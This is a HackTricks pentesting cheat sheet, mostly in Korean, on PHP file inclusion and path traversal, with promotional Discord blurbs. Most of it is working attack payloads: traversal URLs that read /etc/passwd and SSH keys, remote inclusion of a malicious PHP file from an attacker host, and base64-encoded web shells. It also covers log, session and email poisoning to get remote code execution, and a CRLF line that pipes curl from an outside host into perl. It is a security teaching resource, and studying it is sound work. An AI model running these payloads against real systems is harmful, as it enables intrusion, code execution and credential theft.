hacktricks/pentesting-web/file-inclusion/README.md

41 KiB

파일 포함/경로 탐색

{% hint style="success" %} AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기
{% endhint %}

경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 HackenProof Discord 서버에 참여하세요!

해킹 통찰력
해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요.

실시간 해킹 뉴스
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요.

최신 공지사항
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.

오늘 Discord에 참여하여 최고의 해커들과 협업을 시작하세요!

파일 포함

원격 파일 포함 (RFI): 파일이 원격 서버에서 로드됩니다 (최고: 코드를 작성하면 서버가 이를 실행합니다). PHP에서는 기본적으로 비활성화되어 있습니다 (allow_url_include).
로컬 파일 포함 (LFI): 서버가 로컬 파일을 로드합니다.

사용자가 서버가 로드할 파일을 어떤 방식으로든 제어할 수 있을 때 취약점이 발생합니다.

취약한 PHP 함수: require, require_once, include, include_once

이 취약점을 악용하기 위한 흥미로운 도구: https://github.com/kurobeats/fimap

블라인드 - 흥미로운 - LFI2RCE 파일

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

여러 *nix LFI 목록을 혼합하고 더 많은 경로를 추가하여 이 목록을 만들었습니다:

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}

/\로 변경해 보세요.
../../../../../를 추가해 보세요.

파일 /etc/password를 찾기 위해 여러 기술을 사용하는 목록(취약점이 존재하는지 확인하기 위해)은 여기에서 찾을 수 있습니다.

Windows

다양한 단어 목록의 병합:

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}

/\로 변경해 보세요.
C:/를 제거하고 ../../../../../를 추가해 보세요.

파일 /boot.ini를 찾기 위해 여러 기술을 사용하는 목록(취약점이 존재하는지 확인하기 위해)은 여기에서 찾을 수 있습니다.

OS X

리눅스의 LFI 목록을 확인하세요.

기본 LFI 및 우회

모든 예시는 로컬 파일 포함(Local File Inclusion)을 위한 것이지만 원격 파일 포함(Remote File Inclusion)에도 적용될 수 있습니다 (페이지=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

비재귀적으로 제거된 탐색 시퀀스

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

널 바이트 (%00)

제공된 문자열의 끝에 더 많은 문자를 추가하는 것을 우회합니다 (우회: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

이것은 PHP 5.4부터 해결되었습니다.

인코딩

더블 URL 인코딩(및 기타)을 포함한 비표준 인코딩을 사용할 수 있습니다:

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

From existent folder

아마도 백엔드가 폴더 경로를 확인하고 있습니다:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Exploring File System Directories on a Server

서버의 파일 시스템은 특정 기술을 사용하여 파일뿐만 아니라 디렉토리를 식별하기 위해 재귀적으로 탐색할 수 있습니다. 이 과정은 디렉토리 깊이를 결정하고 특정 폴더의 존재를 탐색하는 것을 포함합니다. 이를 달성하기 위한 자세한 방법은 다음과 같습니다:

  1. Determine Directory Depth: 현재 디렉토리의 깊이를 확인하려면 /etc/passwd 파일을 성공적으로 가져옵니다(서버가 Linux 기반인 경우 적용). 예시 URL은 다음과 같이 구조화되어 깊이가 3임을 나타낼 수 있습니다:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. 폴더 탐색: 의심되는 폴더의 이름(예: private)을 URL에 추가한 다음 /etc/passwd로 다시 이동합니다. 추가 디렉토리 수준은 깊이를 하나 증가시켜야 합니다:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. 결과 해석: 서버의 응답은 폴더의 존재 여부를 나타냅니다:
  • 오류 / 출력 없음: private 폴더는 지정된 위치에 존재하지 않을 가능성이 높습니다.
  • /etc/passwd의 내용: private 폴더의 존재가 확인되었습니다.
  1. 재귀 탐색: 발견된 폴더는 동일한 기술이나 전통적인 로컬 파일 포함(LFI) 방법을 사용하여 하위 디렉토리나 파일을 추가로 조사할 수 있습니다.

파일 시스템의 다른 위치에서 디렉토리를 탐색하려면 페이로드를 적절히 조정하십시오. 예를 들어, /var/www/private 디렉토리가 있는지 확인하려면(현재 디렉토리가 깊이 3에 있다고 가정) 다음을 사용하십시오:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

경로 잘림 기법

경로 잘림은 웹 애플리케이션에서 파일 경로를 조작하는 데 사용되는 방법입니다. 이는 종종 특정 보안 조치를 우회하여 제한된 파일에 접근하는 데 사용됩니다. 목표는 보안 조치에 의해 변경된 후에도 여전히 원하는 파일을 가리키는 파일 경로를 만드는 것입니다.

PHP에서는 파일 시스템의 특성으로 인해 파일 경로의 다양한 표현이 동등하게 간주될 수 있습니다. 예를 들어:

  • /etc/passwd, /etc//passwd, /etc/./passwd, 및 /etc/passwd/는 모두 동일한 경로로 처리됩니다.
  • 마지막 6자가 passwd일 때, /를 추가해도(passwd/) 대상 파일은 변경되지 않습니다.
  • 마찬가지로, 파일 경로에 .php가 추가될 경우(shellcode.php와 같은), 끝에 /.을 추가해도 접근하는 파일은 변경되지 않습니다.

제공된 예시는 민감한 내용(사용자 계정 정보)으로 인해 일반적인 대상인 /etc/passwd에 접근하기 위해 경로 잘림을 활용하는 방법을 보여줍니다:

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

이러한 시나리오에서는 필요한 탐색 횟수가 약 2027회일 수 있지만, 이 숫자는 서버의 구성에 따라 달라질 수 있습니다.

  • 점 세그먼트 및 추가 문자 사용: 탐색 시퀀스(../)와 추가 점 세그먼트 및 문자를 결합하여 파일 시스템을 탐색할 수 있으며, 서버에 의해 추가된 문자열을 효과적으로 무시할 수 있습니다.
  • 필요한 탐색 횟수 결정: 시행착오를 통해 루트 디렉토리로 탐색하고 /etc/passwd로 이동하는 데 필요한 정확한 ../ 시퀀스 수를 찾을 수 있으며, 이때 추가된 문자열(예: .php)은 중화되지만 원하는 경로(/etc/passwd)는 그대로 유지됩니다.
  • 가짜 디렉토리로 시작: 존재하지 않는 디렉토리(예: a/)로 경로를 시작하는 것이 일반적인 관행입니다. 이 기술은 예방 조치로 사용되거나 서버의 경로 파싱 논리 요구 사항을 충족하기 위해 사용됩니다.

경로 단축 기술을 사용할 때는 서버의 경로 파싱 동작 및 파일 시스템 구조를 이해하는 것이 중요합니다. 각 시나리오는 다른 접근 방식을 요구할 수 있으며, 가장 효과적인 방법을 찾기 위해 테스트가 종종 필요합니다.

이 취약점은 PHP 5.3에서 수정되었습니다.

필터 우회 트릭

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

php에서는 기본적으로 비활성화되어 있습니다. **allow_url_include**는 Off입니다. 작동하려면 On이어야 하며, 이 경우 서버에서 PHP 파일을 포함하고 RCE를 얻을 수 있습니다:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

만약 어떤 이유로 **allow_url_include**가 On이지만 PHP가 외부 웹페이지에 대한 접근을 filtering하고 있다면, 이 포스트에 따르면, 예를 들어 base64로 인코딩된 PHP 코드를 디코드하고 RCE를 얻기 위해 데이터 프로토콜을 사용할 수 있습니다:

{% code overflow="wrap" %}

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

{% endcode %}

{% hint style="info" %} 이전 코드에서 최종 +.txt는 공격자가 .txt로 끝나는 문자열이 필요했기 때문에 추가되었습니다. 그래서 문자열이 그것으로 끝나고 b64 디코드 후 그 부분은 단지 쓰레기만 반환되며 실제 PHP 코드가 포함됩니다(따라서 실행됩니다). {% endhint %}

또 다른 예시 php:// 프로토콜을 사용하지 않는 것은 다음과 같습니다:

{% code overflow="wrap" %}

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

{% endcode %}

Python Root element

파이썬에서 다음과 같은 코드에서:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

사용자가 **file_name**에 절대 경로를 전달하면, 이전 경로는 단순히 제거됩니다:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

다음은 문서에 따른 의도된 동작입니다:

구성 요소가 절대 경로인 경우, 모든 이전 구성 요소는 버려지고 절대 경로 구성 요소에서 결합이 계속됩니다.

Java 디렉토리 목록

Java에서 경로 탐색(Path Traversal)이 발생하고 파일 대신 디렉토리를 요청하면 디렉토리 목록이 반환됩니다. 다른 언어에서는 이러한 일이 발생하지 않을 것입니다(내가 아는 한).

상위 25개 매개변수

다음은 로컬 파일 포함(LFI) 취약점에 취약할 수 있는 상위 25개 매개변수 목록입니다(출처: 링크):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI using PHP wrappers & protocols

php://filter

PHP 필터는 데이터가 읽히거나 쓰이기 전에 기본 수정 작업을 수행할 수 있게 해줍니다. 필터는 5가지 범주로 나눌 수 있습니다:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: 데이터에서 태그를 제거합니다 (모든 "<"와 ">" 문자 사이의 내용)
  • 이 필터는 현대 PHP 버전에서 사라졌습니다.
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : 다른 인코딩으로 변환합니다(convert.iconv.<input_enc>.<output_enc>). 지원되는 모든 인코딩 목록을 얻으려면 콘솔에서 iconv -l을 실행하세요.

{% hint style="warning" %} convert.iconv.* 변환 필터를 악용하면 임의의 텍스트를 생성할 수 있으며, 이는 임의의 텍스트를 작성하거나 include 프로세스를 통해 임의의 텍스트를 만들 때 유용할 수 있습니다. 더 많은 정보는 LFI2RCE via php filters를 확인하세요. {% endhint %}

  • Compression Filters
  • zlib.deflate: 콘텐츠를 압축합니다 (많은 정보를 유출할 때 유용함)
  • zlib.inflate: 데이터를 압축 해제합니다.
  • Encryption Filters
  • mcrypt.* : 사용 중단됨
  • mdecrypt.* : 사용 중단됨
  • 기타 필터
  • php에서 var_dump(stream_get_filters());를 실행하면 몇 가지 예상치 못한 필터를 찾을 수 있습니다:
  • consumed
  • dechunk: HTTP 청크 인코딩을 역전시킵니다.
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

{% hint style="warning" %} "php://filter" 부분은 대소문자를 구분하지 않습니다. {% endhint %}

임의 파일을 읽기 위한 oracle로서 php 필터 사용하기

이 게시물에서는 서버로부터 반환된 출력 없이 로컬 파일을 읽는 기술이 제안되었습니다. 이 기술은 php 필터를 oracle로 사용하여 파일을 불리언 방식으로(문자별로) 유출하는 것에 기반합니다. 이는 php 필터를 사용하여 텍스트를 충분히 크게 만들어 php가 예외를 발생시키도록 할 수 있기 때문입니다.

원래 게시물에서는 기술에 대한 자세한 설명을 찾을 수 있지만, 여기 간단한 요약이 있습니다:

  • UCS-4LE 코덱을 사용하여 텍스트의 선행 문자를 시작 부분에 두고 문자열의 크기를 기하급수적으로 증가시킵니다.
  • 이는 초기 문자가 올바르게 추측되었을 때 너무 큰 텍스트를 생성하는 데 사용됩니다. 그러면 php가 오류를 발생시킵니다.
  • dechunk 필터는 첫 번째 문자가 16진수가 아닐 경우 모든 것을 제거하므로, 첫 번째 문자가 16진수인지 알 수 있습니다.
  • 이것은 이전의 것과 결합되어(추측된 문자에 따라 다른 필터도 사용됨) 텍스트의 시작 부분에서 문자를 추측할 수 있게 해줍니다. 충분한 변환을 수행하여 16진수 문자가 아닌 경우를 확인합니다. 16진수라면 dechunk는 삭제하지 않으며 초기 폭탄이 php 오류를 발생시킵니다.
  • convert.iconv.UNICODE.CP930 코덱은 모든 문자를 다음 문자로 변환합니다(따라서 이 코덱 이후: a -> b). 이를 통해 첫 번째 문자가 a인지 발견할 수 있습니다. 예를 들어, 이 코덱을 6번 적용하면 a->b->c->d->e->f->g가 되어 문자가 더 이상 16진수 문자가 아니게 됩니다. 따라서 dechunk는 삭제하지 않으며 php 오류가 발생합니다.
  • rot13과 같은 다른 변환을 시작 부분에 사용하면 n, o, p, q, r과 같은 다른 문자를 유출할 수 있습니다(다른 코덱을 사용하여 다른 문자를 16진수 범위로 이동할 수 있습니다).
  • 초기 문자가 숫자일 경우 base64로 인코딩하고 숫자를 유출하기 위해 처음 두 문자를 유출해야 합니다.
  • 최종 문제는 초기 문자 이상을 유출하는 방법을 보는 것입니다. convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE와 같은 순서 메모리 필터를 사용하면 문자의 순서를 변경하고 텍스트의 첫 번째 위치에 다른 문자를 가져올 수 있습니다.
  • 추가 데이터를 얻기 위해서는 초기 부분에 2바이트의 쓰레기 데이터를 생성하고 convert.iconv.UTF16.UTF16을 적용하여 다음 2바이트와 피벗을 만들고, 쓰레기 데이터까지 데이터를 삭제합니다(이것은 초기 텍스트의 처음 2바이트를 제거합니다). 원하는 비트를 유출할 때까지 계속 진행합니다.

게시물에서는 이를 자동으로 수행할 수 있는 도구도 유출되었습니다: php_filters_chain_oracle_exploit.

php://fd

이 래퍼는 프로세스가 열어둔 파일 설명자에 접근할 수 있게 해줍니다. 열린 파일의 내용을 유출하는 데 잠재적으로 유용합니다:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

You can also use php://stdin, php://stdout and php://stderr to access the file descriptors 0, 1 and 2 respectively (not sure how this could be useful in an attack)

zip:// and rar://

Zip 또는 Rar 파일에 PHPShell을 포함하여 업로드하고 접근하세요.
rar 프로토콜을 악용할 수 있으려면 특별히 활성화되어야 합니다.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

이 프로토콜은 php 구성에 의해 제한됩니다 allow_url_openallow_url_include

expect://

Expect는 활성화되어야 합니다. 다음을 사용하여 코드를 실행할 수 있습니다:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

POST 매개변수에 페이로드를 지정하세요:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

.phar 파일은 웹 애플리케이션이 파일 로딩을 위해 include와 같은 함수를 사용할 때 PHP 코드를 실행하는 데 활용될 수 있습니다. 아래의 PHP 코드 조각은 .phar 파일의 생성을 보여줍니다:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

.phar 파일을 컴파일하려면 다음 명령어를 실행해야 합니다:

php --define phar.readonly=0 create_path.php

Upon execution, a file named test.phar will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.

LFI가 PHP 코드 실행 없이 파일 읽기만 수행하는 경우, file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), 또는 filesize()와 같은 함수를 통해 역직렬화 취약점을 이용할 수 있습니다. 이 취약점은 phar 프로토콜을 사용하여 파일을 읽는 것과 관련이 있습니다.

.phar 파일의 맥락에서 역직렬화 취약점을 이용하는 방법에 대한 자세한 이해는 아래 링크된 문서를 참조하십시오:

Phar Deserialization Exploitation Guide

{% content-ref url="phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

CVE-2024-2961

php 필터를 지원하는 임의의 파일을 읽는 것을 악용하여 RCE를 얻는 것이 가능했습니다. 자세한 설명은 이 게시물에서 찾을 수 있습니다.
매우 간단한 요약: PHP 힙에서 3 바이트 오버플로우가 악용되어 특정 크기의 자유 청크 체인을 변경하여 어떤 주소에든 쓸 수 있게 되었고, 그래서 **system**을 호출하는 후크가 추가되었습니다.
더 많은 PHP 필터를 악용하여 특정 크기의 청크를 할당할 수 있었습니다.

More protocols

여기에서 포함할 수 있는 더 많은 프로토콜을 확인하십시오:

  • php://memory and php://temp — 메모리 또는 임시 파일에 쓰기 (파일 포함 공격에서 어떻게 유용할 수 있는지 확실하지 않음)
  • file:// — 로컬 파일 시스템 접근
  • http:// — HTTP(s) URL 접근
  • ftp:// — FTP(s) URL 접근
  • zlib:// — 압축 스트림
  • glob:// — 패턴과 일치하는 경로 이름 찾기 (인쇄 가능한 것을 반환하지 않으므로 여기서는 그다지 유용하지 않음)
  • ssh2:// — Secure Shell 2
  • ogg:// — 오디오 스트림 (임의 파일을 읽는 데 유용하지 않음)

LFI via PHP's 'assert'

PHP의 'assert' 함수는 문자열 내에서 코드를 실행할 수 있기 때문에 Local File Inclusion (LFI) 위험이 특히 높습니다. 입력에 ".."와 같은 디렉토리 탐색 문자가 포함되어 있지만 제대로 정리되지 않는 경우 특히 문제가 됩니다.

예를 들어, PHP 코드는 다음과 같이 디렉토리 탐색을 방지하도록 설계될 수 있습니다:

assert("strpos('$file', '..') === false") or die("");

이것은 탐색을 중지하는 것을 목표로 하지만, 의도치 않게 코드 주입을 위한 벡터를 생성합니다. 파일 내용을 읽기 위해 이를 악용하려는 공격자는 다음을 사용할 수 있습니다:

' and die(highlight_file('/etc/passwd')) or '

유사하게, 임의의 시스템 명령을 실행하기 위해서는 다음을 사용할 수 있습니다:

' and die(system("id")) or '

It's important to URL-encode these payloads.

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights
해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요.

Real-Time Hack News
실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 최신 상태로 유지하세요.

Latest Announcements
새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.

Join us on Discord and start collaborating with top hackers today!

PHP Blind Path Traversal

{% hint style="warning" %} 이 기술은 PHP 함수파일 경로제어할 수 있는 경우에 관련이 있으며, 이 함수는 파일에 접근하지만 파일의 내용을 볼 수는 없습니다(예: **file()**에 대한 간단한 호출). {% endhint %}

In this incredible post it's explained how a blind path traversal can be abused via PHP filter to exfiltrate the content of a file via an error oracle.

요약하자면, 이 기술은 "UCS-4LE" 인코딩을 사용하여 파일의 내용을 너무 크게 만들어 파일을 여는 PHP 함수오류를 발생시키도록 합니다.

그런 다음, 첫 번째 문자를 유출하기 위해 필터 **dechunk**가 사용되며, base64 또는 rot13와 같은 다른 필터와 함께 사용되고, 마지막으로 필터 convert.iconv.UCS-4.UCS-4LEconvert.iconv.UTF16.UTF-16BE가 사용되어 다른 문자를 시작 부분에 배치하고 유출합니다.

취약할 수 있는 함수: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (이것으로만 읽기 전용 대상), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

For the technical details check the mentioned post!

LFI2RCE

Remote File Inclusion

Explained previously, follow this link.

Via Apache/Nginx log file

If the Apache or Nginx server is vulnerable to LFI inside the include function you could try to access to /var/log/apache2/access.log or /var/log/nginx/access.log, set inside the user agent or inside a GET parameter a php shell like <?php system($_GET['c']); ?> and include that file

{% hint style="warning" %} Note that if you use double quotes for the shell instead of simple quotes, the double quotes will be modified for the string "quote;", PHP will throw an error there and nothing else will be executed.

Also, make sure you write correctly the payload or PHP will error every time it tries to load the log file and you won't have a second opportunity. {% endhint %}

This could also be done in other logs but be careful, the code inside the logs could be URL encoded and this could destroy the Shell. The header authorisation "basic" contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.
Other possible log paths:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

이메일을 통한 방법

내부 계정(user@localhost)으로 메일을 보내 <?php echo system($_REQUEST["cmd"]); ?>와 같은 PHP 페이로드를 포함하고, /var/mail/<USERNAME> 또는 **/var/spool/mail/<USERNAME>**와 같은 경로로 사용자의 메일에 포함시키도록 시도합니다.

/proc/*/fd/*를 통한 방법

  1. 많은 쉘을 업로드합니다 (예: 100개)
  2. http://example.com/index.php?page=/proc/$PID/fd/$FD를 포함합니다. 여기서 $PID는 프로세스의 PID(무차별 대입 가능)이고, $FD는 파일 디스크립터(무차별 대입 가능)입니다.

/proc/self/environ을 통한 방법

로그 파일처럼, User-Agent에 페이로드를 보내면 /proc/self/environ 파일 안에 반영됩니다.

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

업로드를 통한 방법

파일을 업로드할 수 있다면, 그 안에 쉘 페이로드를 주입하세요 (예: <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

파일을 읽기 쉽게 유지하기 위해서는 사진/doc/pdf의 메타데이터에 주입하는 것이 가장 좋습니다.

Zip 파일 업로드를 통해

PHP 셸이 압축된 ZIP 파일을 업로드하고 접근합니다:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Via PHP sessions

웹사이트가 PHP 세션(PHPSESSID)을 사용하는지 확인하십시오.

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

In PHP 이러한 세션은 /var/lib/php5/sess\[PHPSESSID]_ 파일에 저장됩니다.

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Set the cookie to <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

LFI를 사용하여 PHP 세션 파일을 포함합니다.

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Via ssh

ssh가 활성화되어 있으면 어떤 사용자가 사용되고 있는지 확인하십시오 (/proc/self/status & /etc/passwd) 그리고 <HOME>/.ssh/id_rsa에 접근해 보십시오.

Via vsftpd logs

FTP 서버 vsftpd의 로그는 _/var/log/vsftpd.log_에 위치합니다. Local File Inclusion (LFI) 취약점이 존재하고 노출된 vsftpd 서버에 접근할 수 있는 시나리오에서는 다음 단계를 고려할 수 있습니다:

  1. 로그인 과정에서 사용자 이름 필드에 PHP 페이로드를 주입합니다.
  2. 주입 후, LFI를 이용하여 _/var/log/vsftpd.log_에서 서버 로그를 검색합니다.

Via php base64 filter (using base64)

기사에서 보여준 것처럼, PHP base64 필터는 Non-base64를 무시합니다. 이를 사용하여 파일 확장자 검사를 우회할 수 있습니다: ".php"로 끝나는 base64를 제공하면, "."를 무시하고 "php"를 base64에 추가합니다. 다음은 예시 페이로드입니다:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Via php filters (no file needed)

writeup php 필터를 사용하여 임의의 콘텐츠를 출력으로 생성할 수 있음을 설명합니다. 이는 기본적으로 파일에 작성할 필요 없이 포함할 임의의 php 코드를 생성할 수 있음을 의미합니다.

{% content-ref url="lfi2rce-via-php-filters.md" %} lfi2rce-via-php-filters.md {% endcontent-ref %}

Via segmentation fault

파일을 업로드하여 /tmp임시로 저장한 다음, 같은 요청에서 세그멘테이션 오류를 발생시키면 임시 파일이 삭제되지 않고 이를 검색할 수 있습니다.

{% content-ref url="lfi2rce-via-segmentation-fault.md" %} lfi2rce-via-segmentation-fault.md {% endcontent-ref %}

Via Nginx temp file storage

로컬 파일 포함을 발견하고 Nginx가 PHP 앞에서 실행되고 있다면 다음 기술을 사용하여 RCE를 얻을 수 있습니다:

{% content-ref url="lfi2rce-via-nginx-temp-files.md" %} lfi2rce-via-nginx-temp-files.md {% endcontent-ref %}

Via PHP_SESSION_UPLOAD_PROGRESS

로컬 파일 포함을 발견했지만 세션이 없고 session.auto_startOff인 경우에도 가능합니다. 멀티파트 POST 데이터에 **PHP_SESSION_UPLOAD_PROGRESS**를 제공하면 PHP가 세션을 활성화합니다. 이를 악용하여 RCE를 얻을 수 있습니다:

{% content-ref url="via-php_session_upload_progress.md" %} via-php_session_upload_progress.md {% endcontent-ref %}

Via temp file uploads in Windows

로컬 파일 포함을 발견하고 서버가 Windows에서 실행되고 있다면 RCE를 얻을 수 있습니다:

{% content-ref url="lfi2rce-via-temp-file-uploads.md" %} lfi2rce-via-temp-file-uploads.md {% endcontent-ref %}

Via pearcmd.php + URL args

이 게시물에서 설명된 바와 같이, 스크립트 /usr/local/lib/phppearcmd.php는 php 도커 이미지에서 기본적으로 존재합니다. 또한, URL 매개변수에 =가 없으면 인수로 사용해야 한다고 명시되어 있기 때문에 URL을 통해 스크립트에 인수를 전달할 수 있습니다.

다음 요청은 /tmp/hello.php<?=phpinfo()?>라는 콘텐츠로 파일을 생성합니다:

{% code overflow="wrap" %}

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

{% endcode %}

다음은 CRLF 취약점을 악용하여 RCE를 얻는 방법입니다 (출처: 여기):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Via phpinfo() (file_uploads = on)

로컬 파일 포함을 발견하고 file_uploads = on인 **phpinfo()**를 노출하는 파일을 찾았다면 RCE를 얻을 수 있습니다:

{% content-ref url="lfi2rce-via-phpinfo.md" %} lfi2rce-via-phpinfo.md {% endcontent-ref %}

